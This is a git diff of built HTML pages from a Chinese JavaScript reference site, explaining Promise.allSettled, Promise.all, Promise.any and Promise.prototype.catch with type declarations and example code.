                                                                    根据传入参数的不同,会有不同的响应效果:

                                                                    • 空的具备 Iterator 接口的对象,返回状态为 Fulfilled 的 Promise
                                                                    • 不包含任何 Promise,返回异步完成的 Promise
                                                                    • 其他情况,返回状态为 Pending 的 Promise

                                                                    • 参数 iterable 必须具备 Iterator 接口,且每个成员都是 Promise 实例
                                                                    • 如果 iterable 内每个成员都不是 Promise 实例,会先调用 Promise.resolve 将每个成员转化为 Promise 实例,再进一步处理

                                                                    方法描述

                                                                    对于 Promise.allSettled 执行集合中的每个 Promise 都已经完成后,无论时成功(fulfiiled)或是拒绝(rejected),未决议的 Promise 将被异步完成。那时,所返回的 Promise 的处理器将传入一个数组作为输入,该数组包含原始 Promise 集合中每个 Promise 的结果。

                                                                    对于每个结果对象,都有一个 status 字段。

                                                                    • 如果值为 fulfilled,则结果对象上存在一个 value
                                                                    • 如果值为 rejected,则存在一个 reason

                                                                    valuereason 分别反映了每个 Promise 决议(或拒绝)的值。

                                                                    代码示例

                                                                    应用场景:

                                                                    • 同时上传多张图片,实现异步并发(例如使用阿里云 OSS 同时批量上传多张图片)

                                                                    基本用法

                                                                    const promise1 = Promise.resolve(3);
                                                                    const promise2 = new Promise((resolve, reject) => setTimeout(reject, 100, 'foo'));
                                                                    const promises = [promise1, promise2];
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.allSettled

                                                                    ⭐️ ES2020(ES11)新特性

                                                                    Promise.allSettled 方法返回一个在所有给定的 Promise 都已经 fullfilledrejected 后的 Promise,并带有一个对象数组,每个对象表示对应的 Promise 结果。

                                                                    当您有多个彼此不依赖的异步任务成功完成时,或者您总是想知道每个 Promise 的结果时,通常使用它。

                                                                    语法

                                                                    语法:

                                                                    Promise.allSettled(iterable);

                                                                    类型声明:

                                                                    interface PromiseFulfilledResult<T> {
                                                                    status: 'fulfilled';
                                                                    value: T;
                                                                    }
                                                                    +
                                                                    interface PromiseRejectedResult {
                                                                    status: 'rejected';
                                                                    reason: any;
                                                                    }
                                                                    +
                                                                    type PromiseSettledResult<T> = PromiseFulfilledResult<T> | PromiseRejectedResult;
                                                                    +
                                                                    interface PromiseConstructor {
                                                                    allSettled<T extends readonly unknown[] | readonly [unknown]>(
                                                                    values: T
                                                                    ): Promise<
                                                                    { -readonly [P in keyof T]: PromiseSettledResult<T[P] extends PromiseLike<infer U> ? U : T[P]> }
                                                                    >;
                                                                    +
                                                                    allSettled<T>(
                                                                    values: Iterable<T>
                                                                    ): Promise<PromiseSettledResult<T extends PromiseLike<infer U> ? U : T>[]>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    iterable见下方any

                                                                    根据传入参数的不同,会有不同的响应效果:

                                                                    • 空的具备 Iterator 接口的对象,返回状态为 Fulfilled 的 Promise
                                                                    • 不包含任何 Promise,返回异步完成的 Promise
                                                                    • 其他情况,返回状态为 Pending 的 Promise

                                                                    • 参数 iterable 必须具备 Iterator 接口,且每个成员都是 Promise 实例
                                                                    • 如果 iterable 内每个成员都不是 Promise 实例,会先调用 Promise.resolve 将每个成员转化为 Promise 实例,再进一步处理

                                                                    方法描述

                                                                    对于 Promise.allSettled 执行集合中的每个 Promise 都已经完成后,无论时成功(fulfiiled)或是拒绝(rejected),未决议的 Promise 将被异步完成。那时,所返回的 Promise 的处理器将传入一个数组作为输入,该数组包含原始 Promise 集合中每个 Promise 的结果。

                                                                    对于每个结果对象,都有一个 status 字段。

                                                                    • 如果值为 fulfilled,则结果对象上存在一个 value
                                                                    • 如果值为 rejected,则存在一个 reason

                                                                    valuereason 分别反映了每个 Promise 决议(或拒绝)的值。

                                                                    代码示例

                                                                    应用场景:

                                                                    • 同时上传多张图片,实现异步并发(例如使用阿里云 OSS 同时批量上传多张图片)

                                                                    基本用法

                                                                    const promise1 = Promise.resolve(3);
                                                                    const promise2 = new Promise((resolve, reject) => setTimeout(reject, 100, 'foo'));
                                                                    const promises = [promise1, promise2];
                                                                    Promise.allSettled(promises).then((results) =>
                                                                    results.forEach((result) => console.log(result.status))
                                                                    );
                                                                    // 结果:
                                                                    // fulfilled
                                                                    // rejected

                                                                    异步并发

                                                                    let files = [{ file: new File() }, { file: new File() }];
                                                                    const ossConfig = {
                                                                    accessKeyId: 'xxx',
                                                                    accessKeySecret: 'xxx',
                                                                    stsToken: 'xxx',
                                                                    bucket: 'xxx',
                                                                    region: xxx'',
                                                                    };
                                                                    function uploadFile(file) {
                                                                    return new Promise((resolve, reject) => {
                                                                    try {
                                                                    const filePath = genPath('');
                                                                    const client = new OSS(ossConfig);
                                                                    client.put(filePath, file).then(res => {
                                                                    if (res?.res?.status === 200) {
                                                                    resolve(res.url);
                                                                    } else {
                                                                    reject('上传失败');
                                                                    }
                                                                    });
                                                                    } catch (err) {
                                                                    reject(err);
                                                                    }
                                                                    });
                                                                    }
                                                                    @@ -42,12 +45,12 @@
                                                                    const result = await Promise.allSettled(promises);
                                                                    urls = result.reduce((acc, item) => {
                                                                    if (item.status === 'fulfilled') {
                                                                    acc.push({ url: item.value });
                                                                    }
                                                                    return acc;
                                                                    }, []);
                                                                    } catch (err) {
                                                                    console.log(err);
                                                                    }
                                                                    -
                                                                    return urls;
                                                                    }

                                                                    参考资料

                                                                    +
                                                                    return urls;
                                                                    }

                                                                    参考资料

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/all/index.html b/standard-built-in-objects/control-abstraction-objects/all/index.html index facbceba1..9c051fd34 100644 --- a/standard-built-in-objects/control-abstraction-objects/all/index.html +++ b/standard-built-in-objects/control-abstraction-objects/all/index.html @@ -7,31 +7,34 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.all - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.all

                                                                    Promise.all 接收一个以 Promise 实例为成员的可迭代对象作为参数,当所有输入的 Promise 成员全部变为 Fulfilled 状态时才会继续执行后续的 Promise.prototype.then(),如果某个成员变为 Rejected 的时候,函数后续的 Promise.prototype.catch() 会被执行。

                                                                    语法

                                                                    语法:

                                                                    Promise.all(values);

                                                                    类型声明:

                                                                    interface PromiseConstructor {
                                                                    all<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>,
                                                                    T8 | PromiseLike<T8>,
                                                                    T9 | PromiseLike<T9>,
                                                                    T10 | PromiseLike<T10>
                                                                    ]
                                                                    );
                                                                    -
                                                                    all<T1, T2, T3, T4, T5, T6, T7, T8, T9>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>,
                                                                    T8 | PromiseLike<T8>,
                                                                    T9 | PromiseLike<T9>
                                                                    ]
                                                                    );
                                                                    -
                                                                    all<T1, T2, T3, T4, T5, T6, T7, T8>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>,
                                                                    T8 | PromiseLike<T8>
                                                                    ]
                                                                    );
                                                                    -
                                                                    all<T1, T2, T3, T4, T5, T6, T7>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3, T4, T5, T6>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3, T4, T5>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3, T4>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3>(
                                                                    values: readonly [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>]
                                                                    );
                                                                    all<T1, T2>(values: readonly [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>]);
                                                                    all<T>(values: readonly [T | PromiseLike<T>]);
                                                                    }

                                                                    参数说明:

                                                                    参数参数说明类型
                                                                    values见下方any
                                                                    • 空的具备 Iterator 接口的对象,将返回 Fulfilled 状态的 Promise |
                                                                    • 不包含任何 Promise,将返回异步完成的 Promise |
                                                                    • 其他情况,将返回 Pending 状态的 Promise |
                                                                    • iterable:必须具备 Iterator 接口,且每个成员都是 Promise 实例。
                                                                    • 如果 iterable 内每个成员都不是 Promise 实例,会先调用 Promise.resolve 将每个成员转化为 Promise 实例,再进一步处理。

                                                                    方法说明

                                                                    Promise.all 执行后返回一个新创建的 Promise 实例,该实例状态由 Promise.all 参数成员决定,可以分为两种情况:

                                                                    • 当参数每个 Promise 实例成员均为 Resolved,返回值才会变为 Resolved 状态。此时参数每个 Promise 实例成员的返回值会组成一个数组,传递给回调函数。
                                                                    • 只要参数每个 Promise 实例成员之中有一个为 RejectedPromise.all 返回值就会变成 Rejected,此时第一个 Rejected 状态的 Promise 实例的返回值,会传递给回调函数。

                                                                    ⚠️ 注意:作为参数的 Promise 实例,自身定义的 catch 方法,那么它的状态一旦变更为 Rejected,并不会触发 Promise.allcatch 方法。

                                                                    🌰 代码示例

                                                                    const p1 = new Promise((resolve, reject) => {
                                                                    resolve('hello');
                                                                    })
                                                                    .then((result) => result)
                                                                    .catch((err) => err);
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.all

                                                                    Promise.all 接收一个以 Promise 实例为成员的可迭代对象作为参数,当所有输入的 Promise 成员全部变为 Fulfilled 状态时才会继续执行后续的 Promise.prototype.then(),如果某个成员变为 Rejected 的时候,函数后续的 Promise.prototype.catch() 会被执行。

                                                                    语法

                                                                    语法:

                                                                    Promise.all(values);

                                                                    类型声明:

                                                                    interface PromiseConstructor {
                                                                    all<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>,
                                                                    T8 | PromiseLike<T8>,
                                                                    T9 | PromiseLike<T9>,
                                                                    T10 | PromiseLike<T10>
                                                                    ]
                                                                    );
                                                                    +
                                                                    all<T1, T2, T3, T4, T5, T6, T7, T8, T9>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>,
                                                                    T8 | PromiseLike<T8>,
                                                                    T9 | PromiseLike<T9>
                                                                    ]
                                                                    );
                                                                    +
                                                                    all<T1, T2, T3, T4, T5, T6, T7, T8>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>,
                                                                    T8 | PromiseLike<T8>
                                                                    ]
                                                                    );
                                                                    +
                                                                    all<T1, T2, T3, T4, T5, T6, T7>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>,
                                                                    T7 | PromiseLike<T7>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3, T4, T5, T6>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>,
                                                                    T6 | PromiseLike<T6>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3, T4, T5>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>,
                                                                    T5 | PromiseLike<T5>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3, T4>(
                                                                    values: readonly [
                                                                    T1 | PromiseLike<T1>,
                                                                    T2 | PromiseLike<T2>,
                                                                    T3 | PromiseLike<T3>,
                                                                    T4 | PromiseLike<T4>
                                                                    ]
                                                                    );
                                                                    all<T1, T2, T3>(
                                                                    values: readonly [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>]
                                                                    );
                                                                    all<T1, T2>(values: readonly [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>]);
                                                                    all<T>(values: readonly [T | PromiseLike<T>]);
                                                                    }

                                                                    参数说明:

                                                                    参数参数说明类型
                                                                    values见下方any
                                                                    • 空的具备 Iterator 接口的对象,将返回 Fulfilled 状态的 Promise |
                                                                    • 不包含任何 Promise,将返回异步完成的 Promise |
                                                                    • 其他情况,将返回 Pending 状态的 Promise |
                                                                    • iterable:必须具备 Iterator 接口,且每个成员都是 Promise 实例。
                                                                    • 如果 iterable 内每个成员都不是 Promise 实例,会先调用 Promise.resolve 将每个成员转化为 Promise 实例,再进一步处理。

                                                                    方法说明

                                                                    Promise.all 执行后返回一个新创建的 Promise 实例,该实例状态由 Promise.all 参数成员决定,可以分为两种情况:

                                                                    • 当参数每个 Promise 实例成员均为 Resolved,返回值才会变为 Resolved 状态。此时参数每个 Promise 实例成员的返回值会组成一个数组,传递给回调函数。
                                                                    • 只要参数每个 Promise 实例成员之中有一个为 RejectedPromise.all 返回值就会变成 Rejected,此时第一个 Rejected 状态的 Promise 实例的返回值,会传递给回调函数。

                                                                    ⚠️ 注意:作为参数的 Promise 实例,自身定义的 catch 方法,那么它的状态一旦变更为 Rejected,并不会触发 Promise.allcatch 方法。

                                                                    🌰 代码示例

                                                                    const p1 = new Promise((resolve, reject) => {
                                                                    resolve('hello');
                                                                    })
                                                                    .then((result) => result)
                                                                    .catch((err) => err);
                                                                    const p2 = new Promise((resolve, reject) => {
                                                                    throw new Error('报错了');
                                                                    })
                                                                    .then((result) => result)
                                                                    .catch((err) => err);
                                                                    Promise.all([p1, p2])
                                                                    .then((result) => console.log(result)) // ["hello", Error: 报错了]
                                                                    .catch((err) => console.log(err));

                                                                    代码示例

                                                                    基本用法

                                                                    Promise 等待所有 Promise 实例都 Fulfilled(或首个 Rejected)。

                                                                    const p1 = Promise.resolve('3');
                                                                    const p2 = 1234;
                                                                    const p3 = new Promise((resolve, reject) => {
                                                                    setTimeout(resolve, 100, 'foo');
                                                                    });
                                                                    Promise.all([p1, p2, p3]).then((v) => console.log(v));
                                                                    // ['3', 1234, 'foo']

                                                                    快速返回否决行为

                                                                    Promise.all 在任意一个传入的 Promise 否决时返回新的 Rejected 状态的 Promise 实例。

                                                                    例如,如果你传入的 Promise 中,有四个 Promise 实例在一定的时间之后调用成功函数,有一个立即调用失败函数,那么 Promise.all 将立即变为 Rejected 状态。

                                                                    var p1 = new Promise((resolve, reject) => {
                                                                    setTimeout(resolve, 1000, 'one');
                                                                    });
                                                                    @@ -40,12 +43,12 @@
                                                                    var p4 = new Promise((resolve, reject) => {
                                                                    setTimeout(resolve, 4000, 'four');
                                                                    });
                                                                    var p5 = new Promise((resolve, reject) => {
                                                                    reject('reject');
                                                                    });
                                                                    // You can also use .catch
                                                                    Promise.all([p1, p2, p3, p4, p5])
                                                                    .then((values) => {
                                                                    console.log(values);
                                                                    })
                                                                    .catch((reason) => {
                                                                    console.log(reason);
                                                                    });

                                                                    完成时回调 Hack

                                                                    如果你需要在所有的 Promise 都结束之后执行某些操作,而不论他们是否 Fulfilled,Promise.all 的这种机制就会成为一种限制,有个比较 Trick 的办法是给 .then.catch 传入相同的回调,显然,这会让代码的可读性大打折扣。

                                                                    Promise.all(promises.map((p) => p.catch(() => undefined)));

                                                                    如果 Promise 的 .catch 回调返回了 undefined,那么 Promise 的失败就会被当做成功来处理。

                                                                    🌰 代码示例

                                                                    Promise.all(
                                                                    [
                                                                    // Fulfilled
                                                                    Promise.resolve(1),
                                                                    // Rejects after 2 seconds
                                                                    new Promise((resolve, reject) => setTimeout(() => reject(1), 2000)),
                                                                    ].map((p) => p.catch(() => undefined))
                                                                    ).then(() => console.log('done!'));
                                                                    -
                                                                    // >> done!

                                                                    参考资料

                                                                    +
                                                                    // >> done!

                                                                    参考资料

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/any/index.html b/standard-built-in-objects/control-abstraction-objects/any/index.html index c03f2f126..6642676fa 100644 --- a/standard-built-in-objects/control-abstraction-objects/any/index.html +++ b/standard-built-in-objects/control-abstraction-objects/any/index.html @@ -7,41 +7,44 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.any - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.any

                                                                    ⭐️ ES2021(ES12)新特性

                                                                    Promise.any() 接收一个 Promise 可迭代对象(例如数组),只要其中的一个 Promise 实例 Fulfilled,就返回那个已经 Fulfilled 的可迭代对象的成员。如果可迭代对象中没有一个成员状态变更(即所有的 promise 成员都 Rejected),就返回一个 Rejected 状态的 Promise 实例和 AggregateError 类型的实例,它是 Error 的一个子类,用于把单一的错误集合在一起。本质上,这个方法和 Promise.all() 方法相反。

                                                                    语法

                                                                    语法:

                                                                    Promise.any(values);

                                                                    类型声明:

                                                                    interface PromiseConstructor {
                                                                    any<T>(values: (T | PromiseLike<T>)[] | Iterable<T | PromiseLike<T>>): Promise<T>;
                                                                    }
                                                                    -
                                                                    interface PromiseLike<T> {
                                                                    then<TResult = T, TResult2 = never>(
                                                                    onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
                                                                    onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                    ): PrimiseLike<TResult1 | TResult2>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    values可迭代对象,例如数组Iterable

                                                                    返回值:

                                                                    • 如果传入的参数是一个空的可迭代对象,则返回一个 Rejected 状态的 Promise
                                                                    • 如果传入的参数不包含任何 Promise 实例,则返回一个 Fulfilled 的 Promise
                                                                    • 其他情况下都会返回一个 Pending 状态的 Promise。 只要传入的迭代对象中的任何一个 Promise 实例变成 Fulfilled 状态,或者其中的所有的 Promise 实例都变为 Rejected,那么返回的 Promise 实例就会 异步地(当调用栈为空时) 变成 Fulfilled 或 Rejected 状态。

                                                                    方法说明

                                                                    这个方法用于返回第一个成功的 promise,因此只要有一个 promise 成功此方法就会终止,它不会等待其他的 promise 全部完成。

                                                                    该方法不会像 Promise.all() 会返回一组完成值那样,我们只能得到一个成功值(假设至少有一个 promise 完成)。当我们只需要一个 promise 成功,而不关心是哪一个成功时此方法很有用。

                                                                    同时,也不像 Promise.race() 总是返回第一个结果值,这个方法返回的时第一个 Fulfilled 的值。这个方法将会忽略掉所有被拒绝的 promise,知道第一个 promise 成功。

                                                                    代码示例

                                                                    基础使用

                                                                    const promiseList = [
                                                                    Promise.reject('Error A'),
                                                                    Promise.reject('Error B'),
                                                                    Promise.resolve('result'),
                                                                    ];
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.any

                                                                    ⭐️ ES2021(ES12)新特性

                                                                    Promise.any() 接收一个 Promise 可迭代对象(例如数组),只要其中的一个 Promise 实例 Fulfilled,就返回那个已经 Fulfilled 的可迭代对象的成员。如果可迭代对象中没有一个成员状态变更(即所有的 promise 成员都 Rejected),就返回一个 Rejected 状态的 Promise 实例和 AggregateError 类型的实例,它是 Error 的一个子类,用于把单一的错误集合在一起。本质上,这个方法和 Promise.all() 方法相反。

                                                                    语法

                                                                    语法:

                                                                    Promise.any(values);

                                                                    类型声明:

                                                                    interface PromiseConstructor {
                                                                    any<T>(values: (T | PromiseLike<T>)[] | Iterable<T | PromiseLike<T>>): Promise<T>;
                                                                    }
                                                                    +
                                                                    interface PromiseLike<T> {
                                                                    then<TResult = T, TResult2 = never>(
                                                                    onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null,
                                                                    onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                    ): PrimiseLike<TResult1 | TResult2>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    values可迭代对象,例如数组Iterable

                                                                    返回值:

                                                                    • 如果传入的参数是一个空的可迭代对象,则返回一个 Rejected 状态的 Promise
                                                                    • 如果传入的参数不包含任何 Promise 实例,则返回一个 Fulfilled 的 Promise
                                                                    • 其他情况下都会返回一个 Pending 状态的 Promise。 只要传入的迭代对象中的任何一个 Promise 实例变成 Fulfilled 状态,或者其中的所有的 Promise 实例都变为 Rejected,那么返回的 Promise 实例就会 异步地(当调用栈为空时) 变成 Fulfilled 或 Rejected 状态。

                                                                    方法说明

                                                                    这个方法用于返回第一个成功的 promise,因此只要有一个 promise 成功此方法就会终止,它不会等待其他的 promise 全部完成。

                                                                    该方法不会像 Promise.all() 会返回一组完成值那样,我们只能得到一个成功值(假设至少有一个 promise 完成)。当我们只需要一个 promise 成功,而不关心是哪一个成功时此方法很有用。

                                                                    同时,也不像 Promise.race() 总是返回第一个结果值,这个方法返回的时第一个 Fulfilled 的值。这个方法将会忽略掉所有被拒绝的 promise,知道第一个 promise 成功。

                                                                    代码示例

                                                                    基础使用

                                                                    const promiseList = [
                                                                    Promise.reject('Error A'),
                                                                    Promise.reject('Error B'),
                                                                    Promise.resolve('result'),
                                                                    ];
                                                                    Promise.any(promiseList)
                                                                    .then((value) => {
                                                                    console.log('value:', value);
                                                                    })
                                                                    .catch((err) => {
                                                                    console.log('err:', err);
                                                                    });

                                                                    传入空的可迭代对象

                                                                    Promise.any([])
                                                                    .then((res) => console.log('fulfilled:', res))
                                                                    .catch((e) => {
                                                                    console.log('rejected:', e);
                                                                    // Output: `rejected: AggregateError: All promises were rejected`
                                                                    });

                                                                    传入不包含实例参数

                                                                    传入的可迭代对象全部为非 Promise 类型值:

                                                                    const result2 = Promise.any([1, 2, 3])
                                                                    .then((res) => {
                                                                    console.log('fulfilled:', res);
                                                                    // Output: `fulfilled: 1`
                                                                    })
                                                                    .catch((e) => console.log('rejected:', e));

                                                                    传入的可迭代对象既包含非 Promiose 类型,也包含 Promise 实例:

                                                                    const p2 = new Promise((resolve, reject) => {
                                                                    setTimeout(() => {
                                                                    resolve(2);
                                                                    }, 500);
                                                                    });
                                                                    Promise.any([1, p2, 3])
                                                                    .then((res) => {
                                                                    console.log('fulfilled:', res);
                                                                    // Output: `fulfilled: 1`
                                                                    })
                                                                    .catch((e) => {
                                                                    console.log('rejected:', e);
                                                                    });

                                                                    从最快的服务器检索资源

                                                                    来自世界各地的用户访问网站,如果你有多台服务器,则尽量使用响应速度最快的服务器,在这种情况下,可以使用 Promise.any() 方法从最快的服务器接收响应。

                                                                    function getUser(endpoint) {
                                                                    return fetch(`https://superfire.${endpoint}.com/users`).then((response) => respons.json());
                                                                    }
                                                                    const promises = [getUser('jp'), getUser('uk'), getUser('us'), getUser('au'), getUser('in')];
                                                                    Promise.any(promises)
                                                                    .then((value) => {
                                                                    console.log(value);
                                                                    })
                                                                    .catch((err) => {
                                                                    console.log(err);
                                                                    });

                                                                    显示第一张已加载的图片

                                                                    在这个例子,我们有一个获取图片并返回 Blob 的函数,我们使用 Promise.any() 来获取一些图片并显示第一张有效的图片(即最先 resolved 的那个 promise)。

                                                                    function fetchAndDecode(url) {
                                                                    return fetch(url).then((response) => {
                                                                    if (!response.ok) {
                                                                    throw new Error(`HTTP error! status: ${response.status}`);
                                                                    } else {
                                                                    return response.blob();
                                                                    }
                                                                    });
                                                                    }
                                                                    let coffee = fetchAndDecode('coffee.jpg');
                                                                    let tea = fetchAndDecode('tea.jpg');
                                                                    Promise.any([coffee, tea])
                                                                    .then((value) => {
                                                                    let objectURL = URL.createObjectURL(value);
                                                                    let image = document.createElement('img');
                                                                    img.src = objectURL;
                                                                    docuemnt.body.appendChild(image);
                                                                    })
                                                                    .catch((err) => {
                                                                    console.log(e.message);
                                                                    });

                                                                    兼容性代码

                                                                    MockPromise.any = function (promiseList) {
                                                                    return new Promise((resolve, reject) => {
                                                                    promiseList = Array.isArray(promiseList) ? promiseList : [];
                                                                    let len = promiseList.length;
                                                                    // 用于收集所有 reject
                                                                    let errs = [];
                                                                    // 如果传入的是一个空数组,那么就直接返回 AggregateError
                                                                    if (len === 0) return reject(new AggregateError('All promise were rejected'));
                                                                    -
                                                                    promiseList.forEach((promise) => {
                                                                    promise.then(
                                                                    (value) => {
                                                                    resolve(value);
                                                                    },
                                                                    (err) => {
                                                                    len--;
                                                                    errs.push(err);
                                                                    if (len === 0) {
                                                                    reject(new AggregateError(errs));
                                                                    }
                                                                    }
                                                                    );
                                                                    });
                                                                    });
                                                                    };

                                                                    参考资料

                                                                    +
                                                                    promiseList.forEach((promise) => {
                                                                    promise.then(
                                                                    (value) => {
                                                                    resolve(value);
                                                                    },
                                                                    (err) => {
                                                                    len--;
                                                                    errs.push(err);
                                                                    if (len === 0) {
                                                                    reject(new AggregateError(errs));
                                                                    }
                                                                    }
                                                                    );
                                                                    });
                                                                    });
                                                                    };

                                                                    参考资料

                                                                    - + diff --git a/standard-built-in-objects/control-abstraction-objects/catch/index.html b/standard-built-in-objects/control-abstraction-objects/catch/index.html index 9541c0fec..d4c294edc 100644 --- a/standard-built-in-objects/control-abstraction-objects/catch/index.html +++ b/standard-built-in-objects/control-abstraction-objects/catch/index.html @@ -7,40 +7,43 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Promise.prototype.catch - JavaScript Guidebook -

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.prototype.catch

                                                                    Promise.prototype.catch 用于指定 Promise 实例发生错误时执行的函数,相当于 .then(null, onrejected)

                                                                    语法

                                                                    语法:

                                                                    promiseInstance.catch(onrejected);

                                                                    类型声明:

                                                                    interface Promise<T> {
                                                                    catch<TResult = never>(
                                                                    onrejected?: ((reason: any) => TResult | PromiseLike<TResult>) | undefined | null
                                                                    ): Promise<T | TResult>;
                                                                    }
                                                                    -
                                                                    interface PromiseLike<T> {
                                                                    then<TResult1 = T, TResult2 = never>(
                                                                    onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult>) | undefined | null,
                                                                    onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                    ): PromiseLike<TResult1 | TResult2>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
                                                                    onrejected当 Promise 实例状态变为 Rejected 时执行的函数Function

                                                                    该函数拥有一个参数 reason(即 Rejected 的原因)。如果 onrejected 抛出一个错误或返回一个本身失败的 Promise,通过 catch() 返回的 Promise 状态将会变为 Rejected;否则,它将显示为成功 Fulfilled。

                                                                    方法说明

                                                                    如果 Promise 状态已经变成 Rejected,再抛出错误是无效的。

                                                                    const promise = new Promise((resolve, reject) => {
                                                                    resolve('ok');
                                                                    throw new Erro('test');
                                                                    });
                                                                    +

                                                                    JavaScript Guidebook

                                                                    JavaScript 完全知识体系

                                                                    Promise.prototype.catch

                                                                    Promise.prototype.catch 用于指定 Promise 实例发生错误时执行的函数,相当于 .then(null, onrejected)

                                                                    语法

                                                                    语法:

                                                                    promiseInstance.catch(onrejected);

                                                                    类型声明:

                                                                    interface Promise<T> {
                                                                    catch<TResult = never>(
                                                                    onrejected?: ((reason: any) => TResult | PromiseLike<TResult>) | undefined | null
                                                                    ): Promise<T | TResult>;
                                                                    }
                                                                    +
                                                                    interface PromiseLike<T> {
                                                                    then<TResult1 = T, TResult2 = never>(
                                                                    onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult>) | undefined | null,
                                                                    onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null
                                                                    ): PromiseLike<TResult1 | TResult2>;
                                                                    }

                                                                    参数说明:

                                                                    参数说明类型
